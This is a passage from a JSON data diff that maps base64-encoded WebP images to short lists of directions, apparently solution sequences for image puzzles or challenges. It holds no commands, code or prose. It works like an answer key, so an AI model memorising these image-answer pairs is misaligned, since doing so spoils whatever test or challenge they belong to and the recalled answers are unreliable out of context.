QnR+50ZTAatxeafjCERcDvjx+l6nc8KVP2GrOUs8uJlCnXmFUfuTlNKGdhhHIXESm7Fi6LvIGcazGAhogcyM9O97Cwq8F8TJ72CUee9iH38TxPw2s1adtFvjZdag15b6You9mM2o48/fhWitmrtCf414m7UuImXsaDPzzsXp0D8MsC78Jps4mF5OElk4mFi31szv9z/p/bOwA=": [ + "down", + "left", + "right", + "up", + "down" + ], + "data:image/webp;base64,UklGRn4EAABXRUJQVlA4THIEAAAv/8A/AJfCKJIkRV3de0xyz+/ZoHmdB7aRJDnZ2UWrBIid0DDJAE+d40aSFCmzapn8Wf9d2t8ezH8dJDZBqFAJMigFCQnFUUFjMHaTQl03sgOp/CfQqoZhUflrVU7ZcW+v47ngMBKyw46kEJxCEAKBEIQQhOwAgexICpTUe6vVpNVo+He1P5Ja5l1rBn03SQq0zDs7QHaAQEa/qTWDoZ/ZcR3wVXpxnjcHRW1701ZS2g4uwzBzhpkOg7fTYcj9300TN3UdaflEv60oov8TUBz4/8D/B3D8+q0je7pIZx5c6llXGF1g3WCgrHWBgbYWPwN1LXYG+lrcDBS2mBlobPEyUNliZaCzxclAaYuRgcDnPGDxMXgqXb6c8oDFxuA5fKFL35/0gMXF4Kl9TxcRUQ9YTAyeKiKkkbMesHgYPLOQR9QDFguDpwqBRD1gcTB4qpBI1AMWA4OnCpEke8BWz+CZhUyiHlFVIZRojFRIJRofFWJJjk0WconGRYVgojFRIZloPFSIJjkWWcjWat/Uy4J9Uy8hkk6aZOEm+V83v1x+yYhRSmluYma4e2dapZR06GFm1t78zxfkBRfGNnfk/kwqb5H7eTm1J/WZkW9ilkuHqmWgXFKtPntOufPDfrX0nZu2JOAwDp1p7+siPSXuDhtVwDr0ywDwa3vtd92tvWlaQTVZwm+EumWWVtqhbOd3Gl1cT1Uk1xNoNbGcH2xW0R00ZzMa/TFN0dZMoxT1vy/Eses+c+9SYt4a++CYV3LPFUiscwVK3l0FXrPuKoBdzn0EgMS5EwCuca4EgMQ4V8w7xqE28a2suc03V9SWbHNFvWNb2VBxzRX1yjY03uEamqdMe+yRePb+h6Y7TIOn8az02WWZK3wTy+B7mmVD0yhNBo5N4bXPMIXP2CqGDV52hGFr8B/49QELvuHXT4skdj39cZE3008ppZms+c8YowhwknNiDMJQxgxh3Et8eYcgjyTG5DA+MeaeBTEkvmgOYkh80RyGMiZ9alPfLKQVZ1peZEjsskWUX8MCW4lfeTLyKSuG2dirYti+jXwcxwavsuLYadSP1HLFMjRZnrFst2ls9yuWvW6a5MSzoQlTpqFZE8+06WJi2tCUuHa7YY8Gz7oI9bcSCQwd5BoSCQxdVNbtkeAZOklryooChm5CbaKAoZtcjaOAoaPKuVQRwNBVNwCcqAhg6CwA+EgAQ2ftAriZus/QXa+BPnXfM3RYCbjV+T4ahiiXLpACLgWPsgGxMMQ6BeGKsgq+hGckDBFfCyKFLvD+GgVD3KdLu7QWmILed5aWwh5A8eMPlvI5Be2kIPnRYzJdQtBO7CjN5q/HIIP426uGgoFulaYFD8uV0QFsXFuNV+DkkVl4Cl5O8n0JS++AmWOz/CqkAUzdC2UHfL31NoTZzYKzxx8u734Ga48ek7fLmeWJ8Wa+dO3t3SqYXLYlYPS0jUfg9R1d5N13YBbwxO8mOH5kv6nPYPkk536uz9l4NhpbvlIlyxMd8ezA/wf+/z/3": [ + "down", + "up", + "left", + "right", + "left", + "right" + ], + "data:image/webp;base64,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": [ + "up", + "right", + "down", + "up" + ], + "data:image/webp;base64,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": [ + "right", + "down", + "right", + "down", + "right", + "down" + ], + "data:image/webp;base64,UklGRj4FAABXRUJQVlA4TDIFAAAv/8A/AK/kKJJtVznhXjI4YI1r5CADBawz7/7swWHbRo5kjT13n79/4Mv5lnIax20jOZKqunvORODz/18ml4r3PfMvIEloQO6ASIECBQohWBDyTookIjbswQ6+XTz8VzR8gQMQoABwrqPd92ezHwQEKKl/6mZ6la27XJanBAkC3M8btnWzYgci2SWSVGaHSEqhlSUihGUNUZkFOBCxAxEi2UVlRBbNAHawwzSIpEhSWXZZLUN2mVFUFkkqI5JdiBAhEkl2iKRIWi3D6VxyMRnQHzFiBFBzgi0ENkKtm6mbqf1a+/3Vv+33a0QaApACJAQEkAB0ggRI/mqd0A1u17P6t+fjqn72+/zUL3V662aCfr6vl+vlpJvJQXHbJ0OStLZt27aN893atu3dQazP9w83IrOy8Dt3VGRWVUT/ITiS5EiJ6kaDL2HPwAe6wE/Lfy3/tfz3fx4O4CfwkcCnAp8KfCr90VPp2wc8lX7oqVS4MYOeCnwq8KnApwKfCnwq8KnAp4IX+pFO8NNLyMJ3aB8B/6A3fELgCYEnz8ATUuyE7mMn9FptAX0udELgCbkhyC5tuiFPBNfZDXlIDwTxqrDtHkmBd1VMd8ghWicKIUU18tgNbp/pgQLN2QFTuzYVkPuGMcjixniMlzbfM0TVPBAvbH+O+L1Y4Luu1f9DNK8EHKmV+hjNUxVkGj+mn6JfHIN3Q9vPUbWpoNL88fxMkfNYwN3M/kt0T8/2wHYvy48uLpD2xHYn408UHLwgIEe5Ur9G1YHp1Q73YHTV3yK/LUSO9XB6YywiR/HeFyGmdXvBFJETds3Ogrsn5hDr3VzLamew3RF1kNW521Kf03YL6YGeX27UtZvWcwrYamn4orq61rLc6gu4VnWL4efqJctZd8640GaFjY0XSfUVu9jmqsXsuUmqL4Gt6m7DdBqfOfetxXPhHbfzdj43LsK5sYmz7ZpxYY0Qm8t7m/W8AWcnnbH9e/oN/LQzfXrdstxu35IhZyZlpzNkyGam0Cp23u5j6lyn120W230/qXGyExmzvot2bR5br2zOX5JFsptuYI922l5bnaHQ79lXsHGT2ozbdReBod/YHLeyzPsVwaErLGYd4za1mXYHAaILzbOAcbdOuN7bCRKdw76CyR0K/H5BoOhs9mjw/LWwu44AcDSzGFfb+HMnMLqYHeEIu2tJEYg6XRtfYbLd/xmsIXB0HjMrZqhNfid0+J82M238QQDp/Ei3z1NnVP9bEkpt/hfWMYUtr+XKD/XW5ZW8FsiWNfcuIDte8M2LgNa5iebuEyXLva3FnVDL1xPs2uel+/5dsiNL3VqaqP5ZcjjpShUS1D9zstLJR6xaaW47JMTXP+XGTQ+FmjP6yD1Ve/dUKzEWHVqOneZDWZr7H3vhvfv+04uUnUKwO+iiKCqLksPH+oYEtciSF+77Tw+pOeRjfGiK19zZm65W2vVvTjL6N30ckq+f955Tizr5iFUrrfqzSUZ/5uOQaMMGBKuUosb0OHpPO5uiKj0svlQGOut//G2Ip3+Cf9xYpzATWdosiBgNc9t/ZUz9k/kSRYiUQoxElx3P81A0dEhn/6QZOSVETlUYqS4rVBuktX9SDK1lVHCUst5RIyWd/ZNgfHCYKpJh41LZPwFGVMFxKm/dv0hv/5hPU/PgPHnus6d/fD9vBuchpuS+LEvWmGzoH4MqxJqq5C8WZ0J/5/IxIfZozl0pyIr+Tk/e+/h57/N6/7rs6O/u4jWwFM5O0A8BXlr+a/nvX4Hgp+W/1sMU": [ + "down", + "left", + "left", + "down" + ], + "data:image/webp;base64,UklGRpIEAABXRUJQVlA4TIYEAAAv/8A/AE/iIJJkp+ohIwBfmEdM+MEG47ZtJMXy3CXMd4vZ33a/5cyEQSNJUqrvABEYxPb54Jv/EDIEwRCEBlAgiP0cKhlIzrSmoQ5MJFMNkqklqIWoZWgBmUoIkAOIgBM0UkvO0NMIqGaYA6hmGGnk+pZKIhkPRYbMmMPN7Ze/f/7+we9+XCQO/38Rv/O9HPuUJ1C0tr1t2/ytmE00y9mL8c/szf/zYNLsePT+L8n8CED6AXXZjuj/BMip/0/9f8rnPXpynj2abo+enG+f/nN3SNe3+ON39uj/5x3QdAd0fYmPW7//f2+Pptujx+ft03/u/qLrW/zxO3v05DwHNN0BXV/i49bv/9/bo+n26PF5+/Sfu0O6vsWvH03TNOve5f7syj3arbjdHn0jK7c7DI9Cne0OA/rGAdkdBmiorKZpNgHgtcSuiGy9A4A/FotFRW2aAVBxQraOmG3W0wOziZBvj2aTMGH2oI4evH8/FcQPCVPv3+/UT3iHaWuFj6vzhUlnmH4RKkfBO+EjVmf4wqQjgNaMYuYz4SNWafjCZAYQquUV5p5hI1ZrmCFz8LxOFLODHG2aphlWCsDrGWEOcHlRH4rZKqzHqqFjorPQ10ZrmK3CeqyedUzmwdqq6CwisE/wwD6zEGFtRbzGXDPrhP5CzAFNd0DnAbhEZNPMGICHtdAaYoQjKj4unjxjixhoHbQW1TJ1AyPbjAFCBbQW1Qkd4QdGsohDKJ4iehAOT/qmOSISEB8Kp4h/xNQVfCKicQhFUyQUOsIXMEkALZgi4QZTb3r2MAG0WB2izUzoF2RNh6yfySIFtFCdpWjZ4E/H+hQIReosidBHDtlnskiCUKDOkrRs8MhYnwShOAFJ38h00yPzqnxsjojIkGQIhQlIe4/BJ2OPkgCFQWKhvVcfyW4iLYomekjOwSsj8iINtCCKxELv+3T0BmnNLM7MumJsILGyd349J5LKiiEhsfBvY3YWP2b/wdq2DdFt27a/FeMY384MqQO5j6VmWOprRJHa7LNnlkHoO/8ekzGDOfYQ6ftmqjX/QCQZgNtuBWS8TLoSBKIZ4JbmaIiVQMmY45FTAUvQFgFEcgxOaQ6VyeYylnw1zFrSWTr0TeNQQM5A+jJ0ywCXNIsQlMHI5yy9QwE5lVwujGSBQw+zbJC7RQBwlTzJctsfZN0mb0vxkGxkgTsP8sj0eZQC5GeeG968z/KabJXj4pTkee5K01xGViVajkCeZjFn+jyhPLocnS9YDpTnzzzmyuVMMh0KAnIu02dHzj/LoyUKU5IFUE+wHFoizQNHrmQKJdIlGf14tiQo0ZhJ/UBmmQ4lMVuSd27s1Eg7JZnw04sHmZRojWx48b5GOqKZnniBvNaVCFDSWR5zIuRqCarksw9aJSCfa0CmQ510PiA3+b00F6YEmdWFkEvJzTrBGnN9WUYPdFlelErLt1Gqu+RFLvUAlfKsPj6U6pZ/Ids2QaXAga1sUqrXZKMazhUHSzOu3p1s56akWF/LJ2vP49r5nu326r2slnNrn/xdcMG/U/+fgB8=": [ + "right", + "down", + "left", + "up", + "up" + ], + "data:image/webp;base64,UklGRkwDAABXRUJQVlA4TD8DAAAv/8A/AL/CIJIkJ7O7/08QgFK8ZzgbjCPblnHP/SMCsBKBJOWr7GePjWTbMs697w+IRPZn/8Qzb/4DEQCwTAIIRin9/ACAdgKk90FSWKcJwBgJlgEA+qTlopwsMyaLMYAkQgBxOOphawtZJBGSFOZhYEyIMWEKiQpAosIop6rpz7+qv2kfWaFF1TUg4AiJyrL81frO9KO/A/+Wr2p0JOgUPnR3laALvMKLd308y61qWuaNbUmh5ULIdez2bSXEIMG2bbVtXuIyhdFymcH5YWb4baUyzX8qscWSX1nnRfQfoiRJiqoseC44K3yBqF/jv8Z/jf/+i+1H0X26eOHGddXx9fygjDIOKKPsPt3SHnxWH3xWH3xUH9+//eL7+Ev/I59/ucddX57pPu/ki/rz7sb/fYfG/32Hxv99h5+AfQdo/Nc87yx00nmNcGYLsmBkOhGhOcW0feQkiBA8XTFvmU5EBIFOAsw8EY4IhwcDrHciLHYi+k/ROVyeBrBL04/ZIgI852L5WCmnoZjqewgcW6W0F1WvtaGaHqPSUkM0SBL1WUt7bE9PThUdEx0omwY59eHUh1MfgfoApz4Ie/26O35lL58Amuv/8q88s9uqA9j8fS+o27zDA9V5bpiuBN8e5CYHpoBOQmbWrY6pKizX3WlLDZikNrI1MKzJkFSez3jDfsSTWC55+kvExgOzrocSuSDlPp7zNAjUQFfylnR4JLy1MYB2mZwQOzg8XXOxTT3zmIudCDOPg5owKdCIsPwuthdbHifAvdgTatebuAgh5USE1qbrndTEXqF7V6PC6nvprzROelr31s3RkQXaEjiERUs5EW0WCHonogbWJL+tJLPC/Q/9liIcbCW28SCL8c2tlHae1HbfxWVtzWQ4t7koyYzAigAEoS3JIMzlXrYcYvhKbocp45P+cYm5wfkyE5fXVbiW1/MU4Ws4ObWz0CwQFbvcShuP9/DGwv2nomSt9ZTxmYm63Usdn6gr8Wsci8Zcot26GwSvWtL+PWj/fveuvm6mrE2Iwm2krE0obCbS3kHa2q/yf/FoWpS3Jdo7EvUPonOvjknamFG6+biHonaBi71RvOBFxIGoX+O/xn//QQcA": [ + "down", + "left", + "down", + "up", + "up", + "left" + ], + "data:image/webp;base64,UklGRiQDAABXRUJQVlA4TBcDAAAv/8A/AA/juG0kR1JVde+e/13ql95F4V2n4bS2bSe65wWCQmLp31APNTDJ5XkPciTJrqKqEagTd7zHEjzSGnZn/gMRACAASCUK9FimJSFLoJ5ae8MwjFKRCQDQXxVFJiEAQCWZZAIAVKIhJAToaBWloliQMChRhOJJKGiQUPeYbLYgAVS0qACiRsNKNH75A5gcv/nPSw+jcT53ulfcSQprbezfW/1bcYX8W79Xupb4iR9m/TcObPyXf8/PVW0rgFscndanimIL8VRRvo+Ty773f/67HgfTwyDRtrU1an7c3X0Ed5cwVMct9RaH938LyPwlyb/+D8+9Ef134DaSIjl7zHw3cy9Q4hf5L/Jf5L+XJIs3NWmuR/jtNbcIDxfN0gN2xIeLnd0lLmpqtyszOxcfcC4+4FR8wGmH9ICz5hbh4XZLfJdP+h2nHU/5Mzp/an/v3lhfWpD8d9e/p/24y15zS+T/vKNt5x0j/+cdI//nHd+pmHeM/PeW3BQUpund/4rAND3XpacmATku1FElpiqg+g7FCjxXZZmeYCkT5CjujYIkfZukr2J3YnBjdHX7w0Us7ZWeIEn7rMpAiRxniQSA/EN19q4g7bhk2Vf0HTwdTPT1N1mE663E2vtmQqcOUOQm0kXXuJa77OEhz43al+MBU3QNLsYZMzPCAR14XyO0cY4JANLiGAJfPb2kyKTwEqpO+h1J8cXw3M+Jyf+942VI+YBcDSQnFCXjM4UKqlgY9k1vxBgGL+MwPUMgyJFmrflldnUP9A9m/Bm1IvK4LjB72vEqNfYriPfyPlvJxhy9anCG9fD3cwD6rQVALBX6Gr4gAAO2MgQAdSqR8oCqD0xBO145oXB9b9a+StyHpvhqvFWFdLLqj5/kn9/fqnYVu6NfAQBCOmXq+MNH4BNPHAAWhSkowAiqTv9e5YssUSNR19AYiFyTKOoSGkUFwLdVJU51KY20zEDpJcT3VTvfK7OCdsBbXP//fg2RbWv/7iCzsvY7d92T3KH4MLQmPaBtLu2pVwVEst5HtvysznmQLiV+kf8i/73zDQA=": [ + "down", + "left", + "down", + "up", + "right" + ], + "data:image/webp;base64,UklGRg4EAABXRUJQVlA4TAEEAAAv/8A/AM/BKpJkJ7t7d+T4jxhUoBw1L9pgG0mSk5u9R2uCIA6iIH/3bcxXbCNJctInHuVBNJjkn5Kc/4CJDgCEpYL2824QgfWD0Dy0fd7Ai3sJYUCCwEAGAaAGAUI1DGLyQGMUowgI6E4ACumkVPLzaevvj7f4k6eU0y9iKmnz3IfWDY1AwjytzMv7Xjy0+9p5aN93Mk+QaG172jYqM3lKyrVijbcy3/+dkeHX933/MInovyS2jSRJYkROndlzz25Ve3f+wf2a+W/mv2nSmmxUR4eHW1vDfP3y+VOTgarhkc0rxhj61g8smUiZ6n3oQDakQ/uKla1eO9JLyYW2o9ILcEUtiDoLXbWrFUgdL3e9N4LhfaCiXnivLuoEVdsdLRXqJKVgJ4kkq7muu5HPKoq91quUUrFriM0X8+U7KKiq3DXUuHW1JBUrmbaDiqpy+Y7ihVDqrJO2CVG9ADAhqhcAJsgXACZQerapp4sW5x1v0OPdzeLSUvEfnbvtf36Jchneu+7zRt0shuJdtfzsUuW6dfSq+/K7UtvPLk3OW0ffuiq9SKng318aBtetM/rXymrpvz3uB94qcbTnwZX3lw9623oMWZS/iybLudV4vi2vpmU5Y6CHd5bLSRUrw6ODKxQ/kBIru0GAts1mcKg4Wc2wsIFwC7l+scDH6qj9i4JXoPN8bAaPTLlhOMPugQovGFnOMPt7l9yFwVErKygiIdthdN0ld2E8w+a6W+7CeobFfRe9C4yjWM/O79AZMi7Nxs1iQFrmMzoDZlw89TXwvrsqYrMpUbiEkiQXPpw3N8ERlXN+E8ia96fkQ+EPRLkpJndASU3uAMWeKW25A47n4OTkDgjpyB2ALSTnDsBE5bkDFMpzByibynMHKJTnDlAoyh2wiXpyB3yU5w5QNhXnDtCIyR1QEp47gCE8dwBjS2/uAM6h7twBDr25AzinwnMHMCfKzh0AUZ07QCI8d+D6k2/Ze8l7yXlzk999Ifgv+C9gEZ07gKI6d4BEde4AiezcARDZuQMgenMHeHTnDnDIzh2McP4/fcG5A7BSnDtAoyh3QEdP7oCP4twBGsW5AzRicgeUBOcO4OjOHYxw/p7lb+6gm+7cAQ69uQM8snMHQGTnDoCozh0g8Td3EFyo7L3kveS95LwP5Z9nVr+WkuuqlJhp+L07WvD+HiZ/5al/GjRNmHZSVaarSs6tdT5Jzb+pZKSlEyUZPf+izqRVy1gfZ9qKOgZxqxi+93Imr2UB99foi94Zv5p9KFCTP4KEOuQevvdellGRVa1D5n2FQpp0ON9jNbL7I5+QiVlQRbaTJDXXENUKhpMX4UmXTGKSsu/9U5sRgW8ftWm+B/dr5r+Z/6YwCwA=": [ + "down", + "up", + "right", + "up", + "left", + "up" + ], + "data:image/webp;base64,UklGRqYFAABXRUJQVlA4TJkFAAAv/8A/AHfBoJEkRd1H/p2cjnOBFp5fCNtIkhqhtcYlI4IlCjLBxIXXX4wiSVJUteBfyiriu+cZ4Jv/ABAGEECAofyZGIFIooAkVhJR8hFIUgUmKVKOQBBDIiBAEAuEoCSWTLkkQQZyBSGFdl3e9/Hx3w+i76gAvx/8jvVpvXquU21F+F597O55MFCwbbdtJKmi2JWDx+xMdu6u0Ptfn4MEEeDH5MKP6D8ESZKkNjUV8i5Ey7fNgpgHDO7Xi/+8+M8/ZIxZjbI+pAusqpapkGsXKFXLvIEf7x2Yl6oldyBP0ZMrlcycqISdSi05WRn5gFXLVDk3AD7XMnO2AvVc7ytHSa0PScRzLd+IKFwfIp5rSSHkLeC5khdyPsQJ2IOuOlsNj1WX1PsEdc2hxTgP7n/CRYvVPLD/CY9qlOUQZ1qJlR9Qi+IGSY2xBTjnajEv0Px6nS8H9pztP+YkBvacQ3NDLOw5o7kRCTej/OvVNhAR57BZ6X+90t7HmeCgu3aM5u4ev2BmlNLcEIsxrcfDZGD/OAQxVOT7g+gYBi9JlSYinKsiFS3U5NumRJ5jJamzfAhwro9QpFAfqTgZ9ZEHYLLSZ0EAJcUIQjEy6vBFwCLxpZUfJku2FkEIDfJ90oSPZJJZ0c21eZYxY0aH/vWCx5/cR7wWuYM9Z7RyAvFaBPecQzOFwNTG9bJnGRhNubbl4XvEt6l6ng8I1iIQtzR+eJghHqcCAuAFxv0trScPM/ycVAgsx1VhbYPIGSZ9lrER169bO9oGZMeiD4i2NKZpYIapAJq/Ne1pGxASD0j+1qjQNiBkI45fNx3aBATMFoQtijQKIGPcbtGlVWApnf+tUadZABFpN69My1pIt1v8ZtxuwUKHf2tcJ5P0ncjuE9l9ItvlQI3f/WkWnh1yZu3RrH48oVZwiWLj1NqjKbAVfTJnk2uPlsBWdoXqfHLt0ZToMGCOQ67Lfl8RncCvzxG9aY/CKvJbU7sbWuNVYRX5ran97TTG7v2lkkBTPw3I62vdLf0Abm7qriYDYK/Pqwdwc1X3yufAIVl3yu3AIc/qjm4HDvm6bvU7sD/3OXBIcsERXFpyXXJ5ACu5UkE/Aodn24SGbgSu6uI6F4s/cEjy68zBtrXAAJBXpZKqgofrQlZtkcNcyyR6AYw8SDioupXmAvj4LvLMkBAReWhJhIg8VPd8MtA3un0DbAXwIewdYigAEesiRKqhAD76CGCjhwA6ugjg4XiaPgJ9Pij2DbAU6LyM9A3QFjVuaKZvgHaga+30DcA9tNM3IMNWuW+ACyr3DTBlv+cYTfUNuMPNqoxG+gZkzIyrQnI00jcgA+ai7NW5kb4BGS1vps8BGOkb8IceCO47TEb6BqBj4W9IUu0bYAAMt5yeq/YNwMqC66VJs28AVqavlzcMwEf4+vjGAVdYF1ayfcARIj5SZeXnCvcSmFwlRDC5yqnw/J8JcJ57lJ79McBBIYnxzBOln7yBh3ELRrP2J7/gGtlYWDFK8e+/gb4BY0EZyAteD6TfNwDl2WcueE2gft8AgnTJnSJKfQMgK1p7aPcNMOF5j+tvm/cLnmsOO1x/G71fMGna3/rb2v2C8JT0iTB3vyDYwO2HStL1wA6uB07qRt8D7yvpcmDmK+N8IFc6H2AlrkBHb4AFMJTBvgHncF+NZrBvQIKrYt8APzTYNyA5Gdh+yL4HhojwPTD4ol7fANcD2w/Z90CDQ/6WgA4MdsxDYA4MhgxIGukbcA59aqRvAKFjpG8A2+1AHBgsGag00jfgHDqL+wYYGl5uBBwYLPk2IgAHBlMG7LITGEFrabga/HM53lsiwvlACu+HeXDRhbhvRDgfSE5K5mVTP3cJcbYu3+LY0XVLjCho6LM7QuxzPUT4vuvd4Htdsx4N7teL/7z4zz8jBAA=": [ + "up", + "right", + "up", + "left" + ], + "data:image/webp;base64,UklGRk4FAABXRUJQVlA4TEEFAAAv/8A/AGfiNpIkRaqaY/9NO+nkk5nx3w3Hka1A0ed/oDBKQ/ZoDrunXWfcSJLkKFlz9/+v4ePjEljy1PwHEJL+qCy5rzptIAgEhAAHBwJJsBBoEQRG/JP8RmJDDyRiGFEYgVGYkZjBMBMZiEIPhhEIhgRFYsWMihkNKxAj0QyIkahYOdu3Fk//97IPd+Dy4nJdp2k9NP3D82y+7/D/X55n8zybfX8bt5e6u1FQ1LY3jR25zDg6W2bIzpS5k3RmCmfK939DEzlWxlDctX5F9H8C3P/+/9///yNxJf73uz8nfxcvn7fiP29W4txK/M935fr3hCpePhD/+bUS/3PASvzvd/n96987MwtnZlY+n6U+l49KuQL6LPO5hPR9DVer24KVeI58kUAZqYQrJIRDKe0PV0tJw7m/CnyTsvLRd2bhzMwV0GeZzyWkMq6IPkt8LiP9EO6DK6Sv4ayUNJz7X0HvzCycmVn5fJb6XD4q5Qros8znEtL3NVytrogggTJSCVdICIdsWYfC1uwPV7NlH8LAtkbDuXwxhIAVlWEYrKRUtWIIqgtZNGrwg7nyMvjAvM7OS8nAwbzuzgtJVfejD9X5PuqAYlJbb8Cc56TtysrWK4X51La4bA3zqW1pDSawJbQMQiinp